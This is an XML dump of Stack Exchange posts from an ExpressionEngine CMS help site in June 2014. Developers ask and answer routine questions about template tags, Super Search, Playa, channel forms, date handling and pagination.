  <row Id="23890" PostTypeId="1" CreationDate="2014-06-23T15:02:55.270" Score="0" ViewCount="67" Body="&lt;p&gt;I am building a notification system which should email a user whenever a new entry is added that matches their saved results. The way I plan to make this work is using a Postmaster Notification which will run on CRON job once a day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already built the system that saves searches using Solspace's Super Search (which we are already using the on site anyway - works well). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My notification code gets all the saved searches, and then should run them and email out any new results. What's the best way to run a search? I just need back the entry_ids I think. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I have so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // Get all the saved searches that are active.&#xA;    $searches = ee()-&amp;gt;db-&amp;gt;select('screen_name, email, search_name, query')&#xA;      -&amp;gt;from('super_search_history h')&#xA;      -&amp;gt;join('members m', 'h.member_id = m.member_id')&#xA;      -&amp;gt;where(array(&#xA;        'h.saved' =&amp;gt; 'y'&#xA;      ))&#xA;      -&amp;gt;get();&#xA;&#xA;    // For each search, unhash the query, and pass it to Super Search.&#xA;    if ($searches-&amp;gt;num_rows() &amp;gt; 0)&#xA;    {&#xA;        foreach($searches-&amp;gt;result_array() as $row)&#xA;        {&#xA;            $q = unserialize(base64_decode($row['query']));&#xA;            // Add information to the query that indicates the timeframe for the search - LATER&#xA;&#xA;            // What are the entry IDs?&#xA;            require_once(PATH_THIRD.'super_search/mod.super_search.php');&#xA;            $search = Super_search::do_search($q);&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think the main issue is me not knowing the best way to call one module's function from within another. I get the error Call to a member function fetch_param() on a non-object in mod.super_search.php on line 644.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to create a version of the &quot;do_search&quot; function that doesn't use the TMPL class (since we're not calling this function from within a template).&lt;/p&gt;&#xA;" OwnerUserId="3015" LastActivityDate="2014-08-23T22:26:50.097" Title="Trying to get Solspace Super Search results in an extension" Tags="|solspace|supersearch|postmaster|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23892" PostTypeId="2" ParentId="20156" CreationDate="2014-06-23T15:15:33.023" Score="1" Body="&lt;p&gt;This looks like a bug, to me. Probably something related to different PHP between the environments. Starting with version 2.9, EECMS changes the way conditionals are evaluated. So this bug is probably gone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Conditionals should always use the syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if current_path == &quot;/&quot;}&#xA;...&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But &lt;code&gt;{current_path}&lt;/code&gt; is parsed at the end of parsing stages. This conditional will be evaluated after all modules and plugins run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why not just check for &lt;code&gt;{segment_1}&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 == &quot;&quot;}&#xA;...&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-06-23T15:15:33.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23893" PostTypeId="2" ParentId="19900" CreationDate="2014-06-23T15:21:25.417" Score="1" Body="&lt;p&gt;Just use a variable pair:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{manufacturer_profile}&#xA;    &amp;lt;h4&amp;gt;{manufacturer_profile:title}&amp;lt;/h4&amp;gt;   &#xA;    &amp;lt;p&amp;gt;{manufacturer_profile:manufacturer_summary}&amp;lt;/p&amp;gt;&#xA;{/manufacturer_profile}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-06-23T15:21:25.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23894" PostTypeId="1" CreationDate="2014-06-23T16:24:52.093" Score="0" ViewCount="225" Body="&lt;p&gt;I'm trying to create a template that will display a list of entries that have been added or edited since a particular date. The date would be passed as a UNIX timestamp in the URL like so;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mydomain.tld/entries_since/1391212800&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried doing something like this but I believe this is not working due to the edit_date in ExpressionEngine not being stored as a UNIX timestamp;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;items&quot;&#xA;    status=&quot;open&quot;&#xA;    search:edit_date=&quot;&amp;gt;={segment_2}&quot;&#xA;}&#xA;&amp;lt;pre&amp;gt;Title: {title}, URL: {url_title}, Edit Date: {edit_date format=&quot;{DATE_W3C}&quot;}&amp;lt;/pre&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Wondered if anyone could help? :)&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2014-06-23T17:43:19.287" Title="Pass a UNIX Timestamp as a URL Segment to display entries edited since that date" Tags="|query|date|date-format|entry-date|edit-date|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23895" PostTypeId="1" AcceptedAnswerId="23898" CreationDate="2014-06-23T16:54:17.597" Score="0" ViewCount="32" Body="&lt;p&gt;I am using Zurb Foundation mark up tabs. When the tabs render it initially stacks all the tabs content instead of putting the content in their individual tabs? I've done this else where on the site and though it was a while ago it works. what am i doing wrong here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the page, its a little rough design wise but i am trying to get everything working.&#xA;&lt;a href=&quot;http://niwot.colorado.edu/index.php/location/3rd_order_location/glv_3rd&quot; rel=&quot;nofollow&quot;&gt;http://niwot.colorado.edu/index.php/location/3rd_order_location/glv_3rd&lt;/a&gt;&#xA;Here is my simplified code-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;dl class=&quot;tabs contained&quot;&amp;gt;&#xA;         {exp:channel:entries channel=&quot;nwt_3rd_order_location_group&quot;}&#xA;           {exp:playa:children field=&quot;discipline_3rd_order&quot; orderby=&quot;title&quot; sort=&quot;asc&quot;}&#xA;    &amp;lt;dd {if count == '1'}class=&quot;active&quot;{/if}&amp;gt;&amp;lt;a href=&quot;#simpleContained{url_title}&quot;&amp;gt;{discipline_short_name}&amp;lt;/a&amp;gt;&amp;lt;/dd&amp;gt;&#xA;            {/exp:playa:children}&#xA;           {/exp:channel:entries}    &#xA;  &amp;lt;/dl&amp;gt;&#xA;  &amp;lt;ul class=&quot;tabs-content contained&quot;&amp;gt;&#xA;       {exp:channel:entries channel=&quot;nwt_3rd_order_location_group&quot;}&#xA;         {exp:playa:children field=&quot;discipline_3rd_order&quot;}&#xA;    &amp;lt;li class=&quot;active&quot; id=&quot;simpleContained{url_title}Tab&quot;&amp;gt;&#xA;&#xA;               {discipline_description}&#xA;    &amp;lt;/li&amp;gt;&#xA;          {/exp:playa:children}&#xA;       {/exp:channel:entries}    &#xA;  &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2014-06-23T19:11:48.067" Title="tabs not working" Tags="|playa|loop|html|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23896" PostTypeId="1" CreationDate="2014-06-23T17:05:11.403" Score="0" ViewCount="160" Body="&lt;p&gt;I've just run the installer to upgrade from 2.3.1 to 2.8.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when I try to go to the Control Panel (admin.php), I am redirected to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;admin.php?/cp/login?return=&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which gives the &quot;Disallowed Key Characters&quot; error.&lt;/p&gt;&#xA;" OwnerUserId="3264" LastEditorUserId="3264" LastEditDate="2014-06-23T17:12:11.417" LastActivityDate="2014-09-22T13:39:26.230" Title="CP redirecting to invalid login URL after upgrade to 2.8.1" Tags="|ee2|upgrade|ee2-upgrades|ee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23897" PostTypeId="1" CreationDate="2014-06-23T17:25:43.300" Score="1" ViewCount="57" Body="&lt;p&gt;Is there a way or a plugin that keeps a log of who changed what for pages and templates [and other things if possible]?&lt;/p&gt;&#xA;" OwnerUserId="3053" LastActivityDate="2014-07-28T16:57:09.153" Title="Expression Engine Plugin for Changes Log" Tags="|plugin|developer-log|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23898" PostTypeId="2" ParentId="23895" CreationDate="2014-06-23T17:31:00.900" Score="1" Body="&lt;p&gt;This is actually a HTML/CSS issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're forgetting that just the first tab content should have the class &lt;code&gt;active&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tabs have a conditional, &lt;code&gt;{if count == '1'}class=&quot;active&quot;{/if}&lt;/code&gt;, but the contents doesn't.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You should use the &lt;a href=&quot;http://docs.pixelandtonic.com/playa/templating/module/children.html#tag-parameters&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;var_prefix&lt;/code&gt; parameter&lt;/a&gt; on playa to avoid conflicts.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2014-06-23T19:11:48.067" LastActivityDate="2014-06-23T19:11:48.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23899" PostTypeId="2" ParentId="23894" CreationDate="2014-06-23T17:43:19.287" Score="2" Body="&lt;p&gt;I believe, your options are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;to change the format of date you're using on the &lt;code&gt;segment_2&lt;/code&gt;, which isn't a good idea because EllisLab can some day finally normalize all date fields;&lt;/li&gt;&#xA;&lt;li&gt;to reformat the date to match the way its used on edit_date database column;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To change the date format, I suggest you the &lt;a href=&quot;http://gotolow.com/addons/low-nice-date&quot; rel=&quot;nofollow&quot;&gt;Low Nice Date plugin&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_nice_date date=&quot;{segment_2}&quot; format=&quot;%Y%m%d%H%i%s&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-06-23T17:43:19.287" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23900" PostTypeId="2" ParentId="23869" CreationDate="2014-06-23T18:23:34.533" Score="1" Body="&lt;p&gt;Why not to used &lt;code&gt;:visited&lt;/code&gt; pseudo selectors and fragment identifiers on the links to comments?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the list of entries:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; limit=&quot;10&quot;}&#xA;    [...]&#xA;    &amp;lt;a href=&quot;{title_permalink=&quot;channel/archives&quot;}#{recent_comment_date format=&quot;%Y-%m-%d&quot;}&quot;&amp;gt;link&amp;lt;/a&amp;gt;&#xA;    [...]&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the comments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:comment:entries sort=&quot;asc&quot; limit=&quot;20&quot;}&#xA;    on &amp;lt;time id=&quot;{comment_date format=&quot;%Y-%m-%d&quot;}&quot;&amp;gt;{comment_date format=&quot;%Y %m %d&quot;}&amp;lt;/time&amp;gt;&#xA;    {comment}&#xA;{/exp:comment:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On your CSS, you can use something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a:link {&#xA;    font-weight: bold;&#xA;}&#xA;a:visited {&#xA;    font-weight: normal;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know this can't survive to a change of browser, but... It's simple and easy. And can be used &lt;strong&gt;together&lt;/strong&gt; with a server side solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or together with a JavaScript solution! Save on &lt;code&gt;localStorage&lt;/code&gt; which entries was read. You can suppose, on your CSS, all entries as unread until the JS be loaded and mark the right ones.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2014-06-23T18:30:49.073" LastActivityDate="2014-06-23T18:30:49.073" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23901" PostTypeId="2" ParentId="23897" CreationDate="2014-06-23T18:38:21.130" Score="0" Body="&lt;p&gt;There are a couple options available for tracking changes in content:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/better-workflow&quot; rel=&quot;nofollow&quot;&gt;Better Workflow&lt;/a&gt; and &lt;a href=&quot;http://devot-ee.com/add-ons/publisher&quot; rel=&quot;nofollow&quot;&gt;Publisher&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These do not work for templates, though. I would suggest using Git to track template changes.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-06-23T18:38:21.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23902" PostTypeId="2" ParentId="19974" CreationDate="2014-06-23T20:17:02.680" Score="1" Body="&lt;p&gt;This thread is a few months old, but the solutions provided so far have not worked for me. Until MX Title Control is updated for 2.8.1 (it still isn't as of posting), a simple fix to modify the &quot;Title&quot; and  &quot;URL Title&quot; labels is to simply add some JS within the &quot;instructions&quot; field of any field within that channel's field group:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;// We're using this field's instructions to hijack labels via JS at DOM-ready&#xA;$(function() {&#xA;&#xA;    // Make sure that this is the publish form (just for a level of safety)&#xA;    if (!EE.publish) return;&#xA;    // Set your channel's field group here (just another level of safety)&#xA;    if (EE.publish.field_group == 4) {&#xA;&#xA;        // &quot;Title&quot; Label&#xA;        var titleLabel = $(&quot;#sub_hold_field_title&quot;).prev(&quot;label&quot;)&#xA;        var titleMarkup = titleLabel.html();&#xA;        titleLabel.html(titleMarkup.replace('Title','Custom Title'));&#xA;&#xA;        // &quot;URL Title&quot; Label&#xA;        var URLTitleLabel = $(&quot;#sub_hold_field_url_title&quot;).prev(&quot;label&quot;)&#xA;        var URLTitleMarkup = URLTitleLabel.html();&#xA;        URLTitleLabel.html(URLTitleMarkup.replace('URL Title','Custom URL Title'));&#xA;&#xA;    } else return;&#xA;});&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's less than elegant, but it works for now.&lt;/p&gt;&#xA;" OwnerUserId="3272" LastActivityDate="2014-06-23T20:17:02.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23904" PostTypeId="2" ParentId="23878" CreationDate="2014-06-23T21:35:37.647" Score="2" Body="&lt;p&gt;You can use a standard EE conditional with (&lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp%3Astash%3Alist_count%7D&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash/wiki/%7Bexp%3Astash%3Alist_count%7D&lt;/a&gt;) the stash function list_count to do this. list_count can be used to return the total count, or the count of a filtered list. Very handy!&lt;/p&gt;&#xA;" OwnerUserId="1532" LastActivityDate="2014-06-23T21:35:37.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23905" PostTypeId="2" ParentId="23890" CreationDate="2014-06-23T22:20:15.313" Score="1" Body="&lt;p&gt;My guess is that if you instantiate the class and it's not working, you need to also dive into their code to see why you aren't getting any results. If I had to guess, it's because there are no template parameters set. You can programmatically set parameters like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;TMPL-&amp;gt;tagparams['param_name'] = 'some value';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or in versions of EE prior to 2.7 (I think)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagparams['param_name'] = 'some value';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ExpressionEngine is largely based on the singleton programming pattern, so you should be able to update the instance object with whatever you need. The main challenge will be finding out &lt;em&gt;what you need&lt;/em&gt; and figuring out how to modify the singleton to fit your needs. Just going to point this out for the rest of the people to benefit, but you can access the main singleton like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or in older versions prior to 2.7&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ee =&amp;amp; get_instance();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in the case of the Template object, it's also a singleton. The class name would be &lt;code&gt;EE_Template&lt;/code&gt; but EE instantiates it as &lt;code&gt;TMPL&lt;/code&gt;, and is assigned to the main singleton which is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;TMPL;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, this is the best answer I can give without specifically writing the code myself.&lt;/p&gt;&#xA;" OwnerUserId="101" LastEditorUserId="101" LastEditDate="2014-06-24T21:42:13.160" LastActivityDate="2014-06-24T21:42:13.160" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23906" PostTypeId="1" AcceptedAnswerId="24134" CreationDate="2014-06-23T22:53:27.347" Score="1" ViewCount="834" Body="&lt;p&gt;I try to make channel form submit via ajax, but stuck now. I have a page showing the list of channel entries, when user clicks on edit link, which is next to each entry, it shows a panel () which contains template partial where I have the channel form. Simply when user clicks on the edit link, it just calls:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('#contentedit').load('/malls/_editmall/' + id);&#xA;$('#paneledit').toggle('slide', { direction: 'right' });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where I have template partial is _editmall. And the code in the partial is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;entry-body&quot;&amp;gt;&#xA;  {exp:channel:form channel=&quot;malls&quot; include_jquery=&quot;no&quot; json=&quot;yes&quot; entry_id=&quot;{segment_3}&quot;}&#xA;    &amp;lt;label for=&quot;title&quot;&amp;gt;Title&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;title&quot; id=&quot;title&quot; value=&quot;{title}&quot; size=&quot;50&quot; maxlength=&quot;100&quot; onkeyup=&quot;liveUrlTitle();&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;url_title&quot;&amp;gt;URL Title&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;url_title&quot; id=&quot;url_title&quot; value=&quot;{url_title}&quot; maxlength=&quot;75&quot; size=&quot;50&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;  {/exp:channel:form}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I put the following code in the example to the main template (I tried also in partial though), &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    $(document).ready(function() {&#xA;        $('#publishForm').ajaxForm({&#xA;            dataType: 'json',&#xA;            success: function(data) {&#xA;                if (data.success) {&#xA;                    // success!&#xA;                } else {&#xA;                    console.log(data);&#xA;                }&#xA;            }&#xA;        });&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I expect that the page will just save and stay in the page as it is. But instead it opens the url of the partial, and shows the json (success) on the page. And yes, I have reference to both jquery and jquery form plugin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see my page &lt;a href=&quot;http://www.yelloretail.net/malls/index2&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what I'm doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="1637" LastEditorUserId="343" LastEditDate="2014-06-24T00:16:04.223" LastActivityDate="2015-02-26T14:57:57.780" Title="Channel Form with AJAX" Tags="|safecracker|ajax|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23907" PostTypeId="1" CreationDate="2014-06-24T01:06:02.330" Score="0" ViewCount="48" Body="&lt;p&gt;I am the implementing Facebook Connect module for an existing site that already has a considerable number of registered users. As it's my first time using the module I have a couple of questions on best approach.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;What is the best way to have existing members sync their accounts? Do I simply use the Login button? Is this context sensitive and will know if the user has already synced accounts and so not launch the whole agree to the app part?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How can I check if a user has already synced their EE account with their FB account? I would like a method of prompting users that have not synced to do so but also not bother those that already have.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How do I let users un-sync their accounts? I've noticed that if I sync my own account the app replaces my email address with my FB address. If I un-sync will it add back my old email address?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help.&lt;/p&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2016-03-26T04:17:52.743" Title="Solspace Facebook Connect : Implementing syncing accounts for existing EE members" Tags="|solspace-facebookconnect|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23911" PostTypeId="2" ParentId="23887" CreationDate="2014-06-24T05:18:37.350" Score="0" Body="&lt;p&gt;Super Search works best as a POST form. Try changing your form to have &lt;code&gt;method=&quot;POST&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you haven't done so yet, you might also want to go in the Super Search CP, under the &lt;strong&gt;Fields&lt;/strong&gt; tab, and change the field type to an integer to allow better -from/-to range searches based on numbers. Make a backup of your database before you do any changes there. &lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-06-24T05:18:37.350" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23912" PostTypeId="1" CreationDate="2014-06-24T05:46:17.860" Score="1" ViewCount="511" Body="&lt;p&gt;Is there a way that I can get the Category details in EE by just knowing the category url_title ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Channel Category tag doesn't provide that facility : &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/category_heading.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/add-ons/channel/category_heading.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2127" LastActivityDate="2017-01-05T18:13:33.630" Title="Get Category Details by just URL_TITLE in EE" Tags="|categories|url-title|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23914" PostTypeId="2" ParentId="23912" CreationDate="2014-06-24T07:40:12.153" Score="-3" Body="&lt;p&gt;May be not the best way to do it, but this is how I did it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;&#xA;SELECT c.cat_name,c.cat_id, c.cat_description&#xA;FROM exp_categories c&#xA;WHERE c.cat_url_title = '{segment_3}'&#xA;AND c.group_id='2'&quot;}&#xA;&#xA;// You can also use categories tag if you want to get custom fields for the category. &#xA;//{exp:channel:categories show='{cat_id}' style='linear'}&#xA;//&amp;lt;p&amp;gt; &#xA;//{category_description}&#xA;//&amp;lt;/p&amp;gt;&#xA;//{/exp:channel:categories}&#xA;&#xA;&amp;lt;p&amp;gt;{cat_description}&amp;lt;/p&amp;gt;&#xA;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2127" LastActivityDate="2014-06-24T07:40:12.153" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23915" PostTypeId="2" ParentId="23883" CreationDate="2014-06-24T08:29:18.927" Score="1" Body="&lt;p&gt;Hein&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please look at this &lt;a href=&quot;https://stackoverflow.com/questions/19712519/omnipay-with-3d-secure&quot;&gt;Omnipay with 3D secure&lt;/a&gt; as a point of reference; as each gateway will require that the Secure 3D process be implemented differently and as such the payment process steps for the module will have to be applied in this manner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of PayU MEA, &lt;a href=&quot;http://help.payu.co.za/pages/viewpage.action?pageId=2654358&quot; rel=&quot;nofollow noreferrer&quot;&gt;3D Secure (Enterprise API)&lt;/a&gt; is a good reference.&lt;/p&gt;&#xA;" OwnerUserId="3277" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2014-06-24T08:29:18.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23917" PostTypeId="1" CreationDate="2014-06-24T08:46:30.623" Score="0" ViewCount="53" Body="&lt;p&gt;Is it possible to show the entry_date to the season it's been published? e.g. Written in Autumn at.........&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will also need to work in different time zones. Client will publish from Europe and Australia.&lt;/p&gt;&#xA;" OwnerUserId="552" LastEditorUserId="552" LastEditDate="2014-06-24T19:28:11.100" LastActivityDate="2014-12-22T11:58:41.557" Title="Entry_date is the season" Tags="|entry-date|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23919" PostTypeId="2" ParentId="23886" CreationDate="2014-06-24T09:15:30.693" Score="1" Body="&lt;p&gt;I went ahead disabled all my extensions and the delay disappeared. I disabled them one by one and supersearch turned out to be the culprit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like there is an issue the the supersearch index which is causing the delay.It is with Solspace support at the moment so i will update with their solution &lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2014-06-24T09:15:30.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23920" PostTypeId="1" AcceptedAnswerId="28728" CreationDate="2014-06-24T09:28:55.767" Score="0" ViewCount="99" Body="&lt;p&gt;i recently upgraded to expression engine from 2.6.2 and 2.8.2 and made the change to channel forms from safecracker.Everything went well and the forms are working fine but I am having a issue with my date picker field. It still works but seems to have lost the path to its style and im not sure what to change to fix this.&#xA;See picture below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is greatly appreciated &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/648rC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2015-02-28T17:52:17.847" Title="Channel form date picker issue" Tags="|safecracker|date|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23921" PostTypeId="1" CreationDate="2014-06-24T09:30:44.250" Score="2" ViewCount="1339" Body="&lt;p&gt;how can i apply &lt;a href=&quot;http://googlewebmastercentral.blogspot.co.uk/2011/09/pagination-with-relnext-and-relprev.html&quot; rel=&quot;nofollow&quot;&gt;pagination-with-relnext-and-relprev&lt;/a&gt; to pagination in the header?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i want to add &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;link rel=&quot;next&quot; href=&quot;http://www.example.com/article?story=abc&amp;amp;page=3&quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;link rel=&quot;prev&quot; href=&quot;http://www.example.com/article?story=abc&amp;amp;page=1&quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;on pagination page 2, and so on. with an exception for the first and last page.&#xA;last page should only contain the rel=&quot;prev&quot; and the first page should only contain rel=&quot;next&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this would not be too hard to get in the body within the current &lt;code&gt;{paginate}&lt;/code&gt; tags,&#xA;as i see in many other solutions, but i want it in the header as stated in the article above by Google.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;anyone has an idea how to approach this problem?&lt;/p&gt;&#xA;" OwnerUserId="1980" LastActivityDate="2016-08-27T15:30:27.697" Title="Link rel=&quot;next&quot; and rel=&quot;previous&quot; pagination in header" Tags="|pagination|seo|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
